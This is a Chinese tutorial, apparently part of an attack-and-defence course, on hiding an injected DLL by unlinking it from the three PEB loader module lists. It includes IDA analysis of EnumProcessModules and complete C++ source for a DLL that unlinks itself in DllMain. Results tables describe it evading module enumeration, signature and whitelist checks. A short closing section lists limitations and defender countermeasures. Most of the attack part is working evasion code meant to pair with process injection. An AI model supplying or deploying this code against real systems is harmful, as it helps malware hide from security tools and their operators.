阅读时间: 15-20 分钟
前置知识: 理解进程注入技术、Windows PEB 结构、双向链表数据结构
学习目标: 掌握 LDR 模块断链技术,实现完全隐形的 DLL 注入
📺 配套视频教程
本文配套视频教程已发布在 B 站,建议结合视频学习效果更佳:
💡 提示: 点击视频右下角可全屏观看,建议配合文章食用!
视频链接: https://www.bilibili.com/video/BV1dH2MBAEvg/
07-攻击篇-LDR模块断链:隐形DLL注入的终极绕过
承接上节:防御者的检测为何失效
上节课,防御者用 模块枚举 + 签名验证 检测到了我们的可疑模块:
- 原理:通过
EnumProcessModules()函数遍历所有加载的 DLL - 效果:成功列出模块列表,未签名的 DLL 无所遁形
作为攻击者,我们需要找到这个检测的盲区。
关键问题是:EnumProcessModules 到底是怎么获取模块列表的?
用IDA看清EnumProcessModules的真面目
为了找到突破口,我们用 IDA Pro 对 EnumProcessModules 函数进行反编译分析。
下图是 IDA 反编译的完整概览,展示了
EnumProcessModulesInternal函数如何通过 PEB → LDR → 链表的方式枚举所有模块:

发现1:具体实现来自 EnumProcessModulesInternal
首先需要说明的是,在 Visual Studio 2022 中,EnumProcessModules 实际上是一个宏定义,它指向 K32EnumProcessModules 函数。
打开 IDA,定位到 K32EnumProcessModules,可以发现它内部调用了 EnumProcessModulesInternal 函数。
完整的调用链:
EnumProcessModules (宏)
↓
K32EnumProcessModules (导出函数)
↓
EnumProcessModulesInternal (内部实现)
这个 EnumProcessModulesInternal 函数才是真正遍历模块链表的地方。
发现2:从PEB开始的三步走
让我们看看 EnumProcessModulesInternal 做了什么:
第一步:获取PEB地址

首先它通过 NtQueryInformationProcess 获取了 PEB(进程环境块)。
PEB 是什么? 进程环境块(Process Environment Block),Windows 为每个进程维护的一个数据结构,里面存储了进程的各种信息,包括加载的模块列表。
第二步:读取LDR指针

然后在 PEB+0x18 偏移处读取了一个值,这个值就是 PEB_LDR_DATA 结构的指针。
PEB_LDR_DATA 是什么? 加载器数据结构,专门用来管理进程中所有已加载的 DLL 模块。它维护了三个链表,分别按不同顺序记录模块信息。
第三步:读取模块链表

随后它又读取了 PEB_LDR_DATA 偏移 0x20 的地方,这就是 InMemoryOrderModuleList(内存顺序模块链表)。
InMemoryOrderModuleList 是什么? 一个双向链表,按照 DLL 在内存中的地址顺序组织所有已加载的模块。链表中的每个节点都包含一个 DLL 的信息(基址、名称等)。
发现3:链表遍历的关键步骤
拿到链表头后,IDA 中的代码开始循环遍历:

关键理解:
双向链表的结构:每个节点有两个指针
Flink(Forward Link)- 指向下一个节点Blink(Backward Link)- 指向上一个节点
- 链表是循环的,从链表头的 Flink 开始遍历
- 直到 Flink 回指到链表头自己才停止
- 每个节点存储一个 DLL 的信息(LDR_DATA_TABLE_ENTRY)
LDR_DATA_TABLE_ENTRY 是什么? 加载器数据表项(Loader Data Table Entry),记录了单个 DLL 的详细信息:基址、大小、名称、入口点等。
发现4:还有另外两个链表
通过查看 PEB_LDR_DATA 结构定义,我们发现它维护了三个链表:
struct _PEB_LDR_DATA
{
ULONG Length; // 0x0
UCHAR Initialized; // 0x4
VOID* SsHandle; // 0x8
struct _LIST_ENTRY InLoadOrderModuleList; // 0x10 ← 加载顺序
struct _LIST_ENTRY InMemoryOrderModuleList; // 0x20 ← 内存顺序(上面看到的)
struct _LIST_ENTRY InInitializationOrderModuleList; // 0x30 ← 初始化顺序
};为什么有三个链表?
这三个链表记录的是同一批 DLL,只是组织顺序不同:
InLoadOrderModuleList(0x10) – 按 DLL 加载的时间顺序排列
比如:ntdll.dll 总是第一个被加载,所以它排在最前面
InMemoryOrderModuleList(0x20) – 按 DLL 在内存中的地址顺序排列
比如:基址在 0x10000000 的 DLL 排在基址 0x20000000 的前面
InInitializationOrderModuleList(0x30) – 按 DLL 初始化的顺序排列
加载和初始化不是同时进行的,初始化顺序可能与加载顺序不同
攻击者启示:
防御工具可能用这三个链表中的任意一个来遍历,所以我们必须从所有三个链表中都断链,才能真正隐身。
绕过思路:断链让DLL”隐身”
通过 IDA 分析,我们发现了防御工具的致命依赖:
- EnumProcessModules 必须遍历 LDR 链表 – 这是它获取 DLL 列表的唯一途径
- 链表在用户态内存 – PEB 和 LDR 结构都在我们进程的地址空间,我们有权限直接修改
- 链表操作很简单 – 双向链表的断链只需要改两个指针(Flink 和 Blink)
- 断链后就彻底消失 – 遍历逻辑会自动跳过被断链的节点
既然防御工具完全依赖这个链表,那我们的绕过思路就很清晰了:
在 DLL 加载时,把自己从 PEB 的三个 LDR 链表中”摘掉”,让枚举函数遍历时跳过我们。
核心方案:
- 获取当前进程的 PEB 地址(通过
NtQueryInformationProcess) - 访问 PEB 中的 LDR 数据结构(PEB+0x18)
- 找到代表当前 DLL 的
LDR_DATA_TABLE_ENTRY节点 - 执行双向链表的断链操作(修改 Flink 和 Blink 指针)
- 对三个链表都执行断链(加载顺序 0x10、内存顺序 0x20、初始化顺序 0x30)
用”隐身斗篷”来比喻:
- 防御者的工具相当于”点名簿”,通过遍历名单发现所有人
- 我们的断链操作就像”撕掉点名簿中的那一页”
- 虽然人还在那里(内存中),但名单上找不到
双向链表断链原理
在写代码之前,我们需要理解双向链表的断链操作:
// 典型的双向链表节点结构
typedef struct _LIST_ENTRY
{
struct _LIST_ENTRY *Flink; // 指向下一个节点
struct _LIST_ENTRY *Blink; // 指向上一个节点
} LIST_ENTRY;
// 断链操作的本质:改变指针关系
// 原来:A <-> B <-> C
// 断链后:A <-> C (B被移除)
currentEntry->Blink->Flink = currentEntry->Flink; // 上一个节点指向下一个
currentEntry->Flink->Blink = currentEntry->Blink; // 下一个节点指向上一个关键:只需要修改前后节点的指针,让它们互相指向,跳过当前节点即可。
链表断链前后对比
下图展示了模块链表在断链前后的实际状态变化:
断链前:DLL 还在 LDR 链表中

断链后:DLL 已从链表中移除,但仍在内存中

三个链表的偏移计算
LDR_DATA_TABLE_ENTRY 结构中有三个 LIST_ENTRY 成员:
typedef struct _MY_LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks; // 0x00
LIST_ENTRY InMemoryOrderLinks; // 0x10
LIST_ENTRY InInitializationOrderLinks; // 0x20
PVOID DllBase; // 0x30 - DLL基地址
// ... 其他字段
} MY_LDR_DATA_TABLE_ENTRY;为什么要计算偏移:
- 遍历
InLoadOrderLinks时,链表指针直接指向结构体起始位置(偏移 0x00) - 遍历
InMemoryOrderLinks时,链表指针指向偏移 0x10 处,需要向前回退 0x10 字节 - 遍历
InInitializationOrderLinks时,链表指针指向偏移 0x20 处,需要向前回退 0x20 字节
动手实现:从零开始写断链DLL
现在让我们一步一步写出这个 DLL。
为什么这次要写 DLL 而不是 EXE?
之前的绕过代码(如 APC 注入、线程劫持)我们都是写在 EXE 里的,但这次必须用 DLL,原因是:
核心问题:我们需要在目标进程内部修改目标进程的 PEB 链表。
技术原因分析:
PEB 是进程私有的 – 每个进程有自己的 PEB,A 进程无法直接修改 B 进程的 PEB(需要用
WriteProcessMemory,但操作复杂且容易出错)断链必须在目标进程内执行 – 如果用 EXE 从外部修改:
- 需要先
ReadProcessMemory读取整个链表结构 - 计算新的指针地址
- 用
WriteProcessMemory写回去 - 中间可能因为多线程导致链表被修改,产生竞争条件
- 需要先
DLL 天然运行在目标进程 – 当 DLL 被注入后:
- 它的代码直接在目标进程的地址空间执行
- 可以直接访问当前进程的 PEB(通过
GetCurrentProcess()) - 操作简单、直接、可靠
类比理解:
- EXE 方式:像站在房外,透过窗户用遥控器操作房间里的家具(麻烦、不精确)
- DLL 方式:像进入房间,直接用手移动家具(简单、直接)
所以这次我们要把断链代码写在 DLL 的入口函数 DllMain 中,然后通过注入技术(远程线程、APC 等)把它加载到目标进程。
第一步:搭建 DLL 基本框架
打开 Visual Studio,创建一个新的 C++ 源文件,命名为 07-攻击篇-LDR模块断链-DLL.cpp。
首先包含必要的头文件,然后写出完整的 DLL 入口函数框架:
#include <windows.h>
#include <winternl.h>
/**
* @brief DLL入口函数
*/
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
{
if (PerformUnlinkInternal(hModule))
{
MessageBoxA(NULL, "注入成功!nnDLL已从模块链表中断链,n绕过了模块枚举检测。",
"LDR模块断链演示", MB_OK | MB_ICONINFORMATION);
}
else
{
MessageBoxA(NULL, "断链失败!", "错误", MB_OK | MB_ICONERROR);
}
}
return TRUE;
}关键理解:
DLL_PROCESS_ATTACH在 DLL 被加载到进程时触发(只触发一次)- 核心的断链逻辑封装在
PerformUnlinkInternal()函数中,它接收当前 DLL 的句柄hModule作为参数 - 通过弹窗来验证 DLL 是否成功执行(但防御工具将看不到这个 DLL)
第二步:定义 PEB 和 LDR 结构体
为了访问 PEB 链表,我们需要自己定义相关结构体(Windows 不公开这些定义)。
在文件开头(#include 下方)添加:
// PEB 结构(简化版,只包含我们需要的字段)
typedef struct _MY_PEB
{
UCHAR InheritedAddressSpace; // 0x00
UCHAR ReadImageFileExecOptions; // 0x01
UCHAR BeingDebugged; // 0x02
UCHAR BitField; // 0x03
UCHAR Padding0[4]; // 0x04
PVOID Mutant; // 0x08
PVOID ImageBaseAddress; // 0x10
struct _MY_PEB_LDR_DATA* Ldr; // 0x18 - 指向加载器数据(关键!)
} MY_PEB, *PMY_PEB;
// PEB_LDR_DATA 结构 - 加载器数据
typedef struct _MY_PEB_LDR_DATA
{
ULONG Length; // 0x00
UCHAR Initialized; // 0x04
PVOID SsHandle; // 0x08
LIST_ENTRY InLoadOrderModuleList; // 0x10 - 链表1:加载顺序
LIST_ENTRY InMemoryOrderModuleList; // 0x20 - 链表2:内存顺序
LIST_ENTRY InInitializationOrderModuleList; // 0x30 - 链表3:初始化顺序
} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;
// LDR_DATA_TABLE_ENTRY 结构 - 每个 DLL 的信息
typedef struct _MY_LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks; // 0x00 - 在链表1中的位置
LIST_ENTRY InMemoryOrderLinks; // 0x10 - 在链表2中的位置
LIST_ENTRY InInitializationOrderLinks; // 0x20 - 在链表3中的位置
PVOID DllBase; // 0x30 - DLL 基地址(用于识别)
PVOID EntryPoint; // 0x38 - 入口点
ULONG SizeOfImage; // 0x40 - 映像大小
UNICODE_STRING FullDllName; // 0x48 - 完整路径
UNICODE_STRING BaseDllName; // 0x58 - 文件名
} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;关键理解:
PEB.Ldr指向加载器数据PEB_LDR_DATA包含三个链表,每个链表都记录所有 DLL(只是顺序不同)LDR_DATA_TABLE_ENTRY是链表节点,代表一个 DLL
第三步:写函数获取 PEB 地址
现在我们需要一个函数来获取当前进程的 PEB 地址。
先定义 NtQueryInformationProcess 函数原型:
typedef NTSTATUS (NTAPI *pNtQueryInformationProcess)(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);然后写获取 PEB 的函数:
PMY_PEB GetCurrentProcessPEB()
{
static pNtQueryInformationProcess NtQueryInfoProcess = nullptr;
// 第一次调用时,动态获取函数地址
if (!NtQueryInfoProcess)
{
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
NtQueryInfoProcess = (pNtQueryInformationProcess)GetProcAddress(
hNtdll, "NtQueryInformationProcess");
if (!NtQueryInfoProcess) return nullptr;
}
// 查询当前进程的基本信息
HANDLE hCurrentProcess = GetCurrentProcess();
PROCESS_BASIC_INFORMATION pbi = {0};
NTSTATUS status = NtQueryInfoProcess(
hCurrentProcess, ProcessBasicInformation, &pbi, sizeof(pbi), nullptr);
return (status == 0) ? (PMY_PEB)pbi.PebBaseAddress : nullptr;
}关键理解:
NtQueryInformationProcess是 Native API(在ntdll.dll中)ProcessBasicInformation可以获取包含 PEB 地址的结构体- 用
static变量缓存函数地址,避免重复查找
第四步:实现断链核心函数
现在开始写最核心的断链逻辑。我们需要从三个链表中都移除当前 DLL 的节点。
BOOL PerformUnlinkInternal(HMODULE hDllModule)
{
// 验证 DLL 句柄有效性
if (!hDllModule)
{
return FALSE;
}
PVOID dllBaseToUnlink = hDllModule;
// 获取 PEB 和 LDR 结构
PMY_PEB peb = GetCurrentProcessPEB();
if (!peb)
{
return FALSE;
}
PMY_PEB_LDR_DATA ldr = peb->Ldr;
if (!ldr)
{
return FALSE;
}
BOOL found = FALSE;
// TODO: 遍历三个链表,执行断链
return found;
}接下来逐一处理三个链表。
第五步:断开链表 1 – InLoadOrderLinks(加载顺序)
在 PerformUnlinkInternal 函数的 TODO 位置,添加:
// 链表 1:InLoadOrderModuleList(加载顺序)
PLIST_ENTRY currentEntry = ldr->InLoadOrderModuleList.Flink;
while (currentEntry != &ldr->InLoadOrderModuleList)
{
// InLoadOrderLinks 在结构体偏移 0x00,所以可以直接转换
PMY_LDR_DATA_TABLE_ENTRY ldrEntry = (PMY_LDR_DATA_TABLE_ENTRY)currentEntry;
// 检查是否是我们要断链的 DLL
if (ldrEntry->DllBase == dllBaseToUnlink)
{
// 执行断链操作:让前后节点互相指向
currentEntry->Blink->Flink = currentEntry->Flink; // 前一个节点的 Flink 指向后一个
currentEntry->Flink->Blink = currentEntry->Blink; // 后一个节点的 Blink 指向前一个
found = TRUE;
break;
}
// 移动到下一个节点
currentEntry = currentEntry->Flink;
}代码解释 1:为什么这行可以直接转换?
PMY_LDR_DATA_TABLE_ENTRY ldrEntry = (PMY_LDR_DATA_TABLE_ENTRY)currentEntry;因为 InLoadOrderLinks 是结构体的第一个成员(偏移 0x00):
内存布局示例(假设结构体在 0x1000):
0x1000 ← 结构体起始地址
0x1000 ← InLoadOrderLinks 的地址(第一个成员)
0x1010 ← InMemoryOrderLinks 的地址
0x1020 ← InInitializationOrderLinks 的地址
在 C/C++ 中,结构体的第一个成员地址 = 结构体起始地址。
所以:
currentEntry指向 0x1000(InLoadOrderLinks)- 转换后
ldrEntry也指向 0x1000(结构体起始地址) - 两者地址相同,可以直接转换!
代码解释 2:断链操作的原理
currentEntry->Blink->Flink = currentEntry->Flink;
currentEntry->Flink->Blink = currentEntry->Blink;
双向链表的断链操作本质是改变指针:
原来:A <-> B <-> C
断链 B:
A.Flink = C (原本指向 B,现在指向 C)
C.Blink = A (原本指向 B,现在指向 A)
结果:A <-> C (B 消失)
用代码表示:
B->Blink->Flink = B->Flink; // A 的下一个指向 C
B->Flink->Blink = B->Blink; // C 的上一个指向 A
第六步:断开链表 2 – InMemoryOrderLinks(内存顺序)
继续在刚才的代码下方添加:
// 链表 2:InMemoryOrderModuleList(内存顺序)
currentEntry = ldr->InMemoryOrderModuleList.Flink;
while (currentEntry != &ldr->InMemoryOrderModuleList)
{
// InMemoryOrderLinks 在结构体偏移 0x10(16 字节)
// 需要向前回退一个 LIST_ENTRY 的大小
PMY_LDR_DATA_TABLE_ENTRY ldrEntry =
(PMY_LDR_DATA_TABLE_ENTRY)((PBYTE)currentEntry - sizeof(LIST_ENTRY));
if (ldrEntry->DllBase == dllBaseToUnlink)
{
// 执行断链操作
currentEntry->Blink->Flink = currentEntry->Flink;
currentEntry->Flink->Blink = currentEntry->Blink;
found = TRUE;
break;
}
currentEntry = currentEntry->Flink;
}关键理解:
为什么要减去 sizeof(LIST_ENTRY)?
结构体布局:
+0x00: InLoadOrderLinks ← 第一个 LIST_ENTRY
+0x10: InMemoryOrderLinks ← 第二个 LIST_ENTRY (当前链表)
+0x20: InInitializationOrderLinks
+0x30: DllBase
...
当前链表指针指向 +0x10 位置
要获取结构体起始地址,需要:currentEntry - 0x10
即:currentEntry - sizeof(LIST_ENTRY)
第七步:断开链表 3 – InInitializationOrderLinks(初始化顺序)
继续添加第三个链表的处理:
// 链表 3:InInitializationOrderModuleList(初始化顺序)
currentEntry = ldr->InInitializationOrderModuleList.Flink;
while (currentEntry != &ldr->InInitializationOrderModuleList)
{
// InInitializationOrderLinks 在结构体偏移 0x20(32 字节)
// 需要向前回退两个 LIST_ENTRY 的大小
PMY_LDR_DATA_TABLE_ENTRY ldrEntry =
(PMY_LDR_DATA_TABLE_ENTRY)((PBYTE)currentEntry - 2 * sizeof(LIST_ENTRY));
if (ldrEntry->DllBase == dllBaseToUnlink)
{
// 执行断链操作
currentEntry->Blink->Flink = currentEntry->Flink;
currentEntry->Flink->Blink = currentEntry->Blink;
found = TRUE;
break;
}
currentEntry = currentEntry->Flink;
}关键理解:
第三个链表在偏移 0x20 位置,需要向前回退 32 字节:
当前链表指针指向 +0x20 位置
结构体起始地址 = currentEntry - 0x20
即:currentEntry - 2 * sizeof(LIST_ENTRY)
完整代码
将上面各步组合在一起,得到完整的断链 DLL 源代码:
#include <windows.h>
#include <winternl.h>
/**
* @file 07-攻击篇-LDR模块断链-DLL.cpp
* @brief DLL版本的LDR模块断链隐藏技术演示
* @details 注入后在目标进程中执行断链操作,然后弹出成功提示
*/
#if !defined(_WIN64)
#error "此程序必须以 x64 模式编译"
#endif
// ============================================================================
// 自定义结构体定义(补充winternl.h不全的部分)
// ============================================================================
/**
* @brief LDR_DATA_TABLE_ENTRY结构 - 已加载DLL的信息表项
*/
typedef struct _MY_LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks; // 0x00 - 加载顺序链表
LIST_ENTRY InMemoryOrderLinks; // 0x10 - 内存顺序链表
LIST_ENTRY InInitializationOrderLinks; // 0x20 - 初始化顺序链表
PVOID DllBase; // 0x30 - DLL基地址
PVOID EntryPoint; // 0x38 - 入口点
ULONG SizeOfImage; // 0x40 - 映像大小
UNICODE_STRING FullDllName; // 0x48 - 完整DLL名称
UNICODE_STRING BaseDllName; // 0x58 - 基础DLL名称
} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;
/**
* @brief PEB_LDR_DATA结构 - PEB中的加载器数据
*/
typedef struct _MY_PEB_LDR_DATA
{
ULONG Length; // 0x00
UCHAR Initialized; // 0x04
PVOID SsHandle; // 0x08
LIST_ENTRY InLoadOrderModuleList; // 0x10 - 加载顺序模块链表
LIST_ENTRY InMemoryOrderModuleList; // 0x20 - 内存顺序模块链表
LIST_ENTRY InInitializationOrderModuleList; // 0x30 - 初始化顺序模块链表
} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;
/**
* @brief PEB结构 - 进程环境块
*/
typedef struct _MY_PEB
{
UCHAR InheritedAddressSpace; // 0x00
UCHAR ReadImageFileExecOptions; // 0x01
UCHAR BeingDebugged; // 0x02
UCHAR BitField; // 0x03
UCHAR Padding0[4]; // 0x04
PVOID Mutant; // 0x08
PVOID ImageBaseAddress; // 0x10
PMY_PEB_LDR_DATA Ldr; // 0x18 - 指向加载器数据(关键!)
} MY_PEB, *PMY_PEB;
/**
* @brief NtQueryInformationProcess函数原型
*/
typedef NTSTATUS (NTAPI *pNtQueryInformationProcess)(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
/**
* @brief 获取当前进程的PEB地址
* @return 成功返回PEB地址,失败返回nullptr
*/
PMY_PEB GetCurrentProcessPEB()
{
static pNtQueryInformationProcess NtQueryInfoProcess = nullptr;
// 获取函数地址
if (!NtQueryInfoProcess)
{
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
NtQueryInfoProcess = (pNtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess");
if (!NtQueryInfoProcess) return nullptr;
}
// 查询当前进程的PEB地址
HANDLE hCurrentProcess = GetCurrentProcess();
PROCESS_BASIC_INFORMATION pbi = {0};
NTSTATUS status = NtQueryInfoProcess(hCurrentProcess, ProcessBasicInformation, &pbi, sizeof(pbi), nullptr);
return (status == 0) ? (PMY_PEB)pbi.PebBaseAddress : nullptr;
}
/**
* @brief 执行LDR模块断链操作
* @param hDllModule 当前DLL的句柄
* @return 成功返回TRUE,失败返回FALSE
*/
BOOL PerformUnlinkInternal(HMODULE hDllModule)
{
// 第一步:验证DLL句柄有效性
if (!hDllModule)
{
return FALSE;
}
PVOID dllBaseToUnlink = hDllModule;
// 第二步:获取PEB和LDR结构
PMY_PEB peb = GetCurrentProcessPEB();
if (!peb)
{
return FALSE;
}
PMY_PEB_LDR_DATA ldr = peb->Ldr;
if (!ldr)
{
return FALSE;
}
// 第三步:执行LDR断链操作
BOOL found = FALSE;
// 遍历InLoadOrderLinks链表
PLIST_ENTRY currentEntry = ldr->InLoadOrderModuleList.Flink;
while (currentEntry != &ldr->InLoadOrderModuleList)
{
// InLoadOrderLinks是LDR_DATA_TABLE_ENTRY的第一个成员(偏移0x00)
// 所以LIST_ENTRY指针就是LDR_DATA_TABLE_ENTRY指针
PMY_LDR_DATA_TABLE_ENTRY ldrEntry = (PMY_LDR_DATA_TABLE_ENTRY)currentEntry;
if (ldrEntry->DllBase == dllBaseToUnlink)
{
// 执行断链操作(移除链表中的此节点)
currentEntry->Blink->Flink = currentEntry->Flink;
currentEntry->Flink->Blink = currentEntry->Blink;
found = TRUE;
break;
}
currentEntry = currentEntry->Flink;
}
// 遍历InMemoryOrderLinks链表
currentEntry = ldr->InMemoryOrderModuleList.Flink;
while (currentEntry != &ldr->InMemoryOrderModuleList)
{
// InMemoryOrderLinks是LDR_DATA_TABLE_ENTRY的第二个成员
// 需要向前回溯16字节(一个LIST_ENTRY)
PMY_LDR_DATA_TABLE_ENTRY ldrEntry = (PMY_LDR_DATA_TABLE_ENTRY)((PBYTE)currentEntry - sizeof(LIST_ENTRY));
if (ldrEntry->DllBase == dllBaseToUnlink)
{
// 执行断链操作
currentEntry->Blink->Flink = currentEntry->Flink;
currentEntry->Flink->Blink = currentEntry->Blink;
found = TRUE;
break;
}
currentEntry = currentEntry->Flink;
}
// 遍历InInitializationOrderLinks链表
currentEntry = ldr->InInitializationOrderModuleList.Flink;
while (currentEntry != &ldr->InInitializationOrderModuleList)
{
// InInitializationOrderLinks是LDR_DATA_TABLE_ENTRY的第三个成员
// 需要向前回溯32字节(两个LIST_ENTRY)
PMY_LDR_DATA_TABLE_ENTRY ldrEntry = (PMY_LDR_DATA_TABLE_ENTRY)((PBYTE)currentEntry - 2 * sizeof(LIST_ENTRY));
if (ldrEntry->DllBase == dllBaseToUnlink)
{
// 执行断链操作
currentEntry->Blink->Flink = currentEntry->Flink;
currentEntry->Flink->Blink = currentEntry->Blink;
found = TRUE;
break;
}
currentEntry = currentEntry->Flink;
}
return found;
}
/**
* @brief DLL入口函数
*/
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
{
if (PerformUnlinkInternal(hModule))
{
MessageBoxA(NULL, "注入成功!nnDLL已从模块链表中断链,n绕过了模块枚举检测。",
"LDR模块断链演示", MB_OK | MB_ICONINFORMATION);
}
else
{
MessageBoxA(NULL, "断链失败!", "错误", MB_OK | MB_ICONERROR);
}
}
return TRUE;
}验证效果
对比防御工具
实验步骤:
- 启动上节课的防御工具
06-防御篇-检测模块归属.exe,设置持续监控 - 使用远程线程注入或APC注入技术,将
07-攻击篇-LDR模块断链-DLL.dll注入到目标进程 - DLL加载后会自动执行断链操作,然后弹出提示框
- 观察防御工具的反应
结果对比
|
检测方式 421_c976bb-b2> |
防御工具预期 421_734ed1-63> |
实际结果 421_10b59e-55> |
绕过结论 421_78235b-4b> |
|---|---|---|---|
|
模块枚举 (EnumProcessModules) 421_29f86e-2d> |
❌ 应该列出所有DLL 421_36e90c-53> |
❌ 我们的DLL消失了 421_a0e2b7-52> |
✅ 绕过成功 421_4fa66d-c5> |
|
数字签名检查 421_dbbfbf-4b> |
❌ 应该检查DLL签名 421_b31647-7d> |
❌ 找不到这个DLL 421_987ecf-b7> |
✅ 绕过成功 421_3404a8-1d> |
|
白名单检查 421_6e3b0b-2b> |
❌ 应该标记可疑 421_74008e-fe> |
❌ 无法检查已消失的DLL 421_37958a-08> |
✅ 完全隐形 421_73adbc-f5> |
实际验证效果
通过不同的注入方式验证断链效果:
使用线程劫持注入验证:

使用 APC 注入验证:

优势与局限
优势
- 彻底隐形:绕过所有基于模块枚举的检测(EnumProcessModules、GetModuleHandle等)
- 技术通用:可以配合CreateRemoteThread、APC注入、SET Window Hook等多种注入方式
- 代码简洁:核心逻辑只需要30行左右的链表操作
- 防御困难:即使看到DLL的内存内容,也很难重建链表信息
局限
只隐形了模块枚举:
- 仍然可以通过内存扫描发现DLL的存在
- 仍然可以通过堆栈跟踪追踪到DLL的代码
- 仍然可以被更高级的检测工具(如驱动级监控)发现
留下了执行痕迹:
- DLL执行时的API调用可以被Hook
- 线程栈中可能有DLL的返回地址
- ETW等事件跟踪可能记录加载事件
环境依赖:
- 只在Windows 7及以上版本有效
- 某些安全软件可能对PEB的访问进行监控
- 某些系统补丁可能改变PEB结构,导致偏移量失效
防御者的反制:
- 防御者可以验证LDR链表的完整性(检查链表是否被篡改)
- 防御者可以遍历进程的内存页面,发现隐形DLL
- 防御者可以使用驱动级回调监控PEB的修改
